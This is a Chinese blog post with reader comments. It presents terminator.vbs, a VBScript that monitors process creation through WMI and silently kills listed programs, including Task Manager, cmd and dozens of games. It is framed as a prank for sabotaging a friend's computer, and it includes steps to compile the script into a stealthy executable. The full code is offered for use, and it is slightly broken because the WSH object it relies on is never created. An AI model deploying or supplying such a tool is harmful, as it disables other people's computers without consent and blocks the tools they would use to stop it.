发表在 net 08-29 10:10:10
坑害好友专用,可以让TA没办法在电脑上打游戏!(其实你甚至可以让TA什么都打不开(逃
这个是老生常谈了,无视错误、继续执行下一行:
On Error Resume Next
首先我们通过GetObject获得了WMI Service的接口:
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
接着我们在死循环中轮询新创建的进程的名称,并通过WScript.Echo显示出来:
Set colMonitoredProcesses = objWMIService.ExecNotificationQuery("SELECT * FROM __instancecreationevent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'")
Do
Set objLatestProcess = colMonitoredProcesses.NextEvent
WScript.Echo objLatestProcess.TargetInstance.Name
Loop
可以在cmd中使用cscript运行一下看看效果(我将这两部分代码保存到了temp0.vbs中):
咦?为什么啥都没有?别着急,我们打开一个Chrome浏览器试试:
出现了两个chrome.exe!这说明我们的代码起作用了。还可以再打开一个记事本(notepad):
OK,亲测可用。
首先创建一个Array来存放所有目标进程的名称:
processes = Array("notepad.exe", "taskmgr.exe")
接着在主循环里遍历这个Array,依次进行比较:
for each process in processes
if LCase(objLatestProcess.TargetInstance.Name) = LCase(process) then
'在此杀死进程 '
end if
next
(吐槽:啥时候加上vbs的高亮支持啊……反正你们用的highlight.js官方提供vbs高亮,加进去又不麻烦……)
光发现目标进程被启动了也不行,还得把它关掉才完美。那怎么办呢?有两种办法:
objLatestProcess.TargetInstance.Terminate
(objLatestProcess已经在之前的代码中声明过了)
当然了,对于某些特殊进程(比如Win8的系统设置进程settings.exe),这个方法可能会失效,因此这也是为何代码开头要有On Error Resume Next。
这个也很简单:
Set WSH = CreateObject("WScript.Shell")
WSH.Run "taskkill /f /pid " & objLatestProcess.TargetInstance.ProcessID, 0, False
(PS:WSH.Run方法的第二个参数为0表示隐藏窗口,第三个参数False表示不等待执行完毕,以免阻塞进程导致漏杀。)
当然缺点更明显:没有管理员权限基本杀不掉管理员开的进程,更不用说System权限的进程了。
因此我采取了两个方法结合的办法来实现:
objLatestProcess.TargetInstance.Terminate
WSH.Run "taskkill /f /pid " & objLatestProcess.TargetInstance.ProcessID, 0, False
到这里全部核心代码就写完了。剩下一些判断之类的我就不细说了,附上完整代码:
''//@Script Name: terminator.vbs
''//@Author: JieJiSS
''//@DateTime: 2017/8/29 09:30:04
''//@License: Apache
On Error Resume Next
processes = Array("notepad.exe", "taskmgr.exe", "cmd.exe", "xxx.exe")
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set colMonitoredProcesses = objWMIService.ExecNotificationQuery("SELECT * FROM __instancecreationevent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'")
Do
Set objLatestProcess = colMonitoredProcesses.NextEvent
For Each process In processes
If LCase(objLatestProcess.TargetInstance.Name) = LCase(process) Then
objLatestProcess.TargetInstance.Terminate
WSH.Run "taskkill /f /pid " & objLatestProcess.TargetInstance.ProcessID, 0, False
End If
Next
Loop
好了,保存,双击运行。
现在打开一个记事本——忽然记事本自己消失了。大功告成!
如图。
这里有不少游戏主程序的进程名,自取:
yuri.exe
cstrike.exe
ra2.exe
speed_loader.exe
generals.exe
hl.exe
game.exe
gameapp.exe
QQgame.exe
cstrike-console.exe
cstrike-online.exe
qqfo.exe
DNFchina.exe
QQSG.exe
QQxu.exe
xyplayer.exe
palonline.exe
digimon.exe
ut3.exe
gta_sa.exe
gta5.exe
GTAVLauncher.exe
gtaiv.exe
LauncherGTAIV.exe
gta.exe
Solitaire.exe
写成vbs应该是这样的:
processes = Array("yuri.exe", "cstrike.exe") '剩下的你们自己往里加吧(逃 '
这里我们需要VbsEdit的帮助。首先下载VbsEdit并安装。随后在先前保存的vbs文件上右键,用VbsEdit打开:(建议x64用户选择32位版本)
接着点击Evaluate或“评价”跳过注册码输入阶段;
点击File选项框中的Convert into executable或“转换成可执行文件”;
弹出如图所示的对话框:(注意Mode那里一定要改成Run in GUI Mode Like WScript)
修改完毕,点击OK,编译。
搞定!
Windows系统下VBScript可以说是一等公民了,调用系统组件非常方便,因此可以用vbs迅速实现一些别的语言很难完成的需求。
然而我选择Visual Studio
浏览器的怎么关
浏览器的怎么关
。
全程都是用记事本和和在命令提示附哪里?
就是啊
坑害好友专用?既然是好友为什么要坑害?
要求提供易语言的代码
cool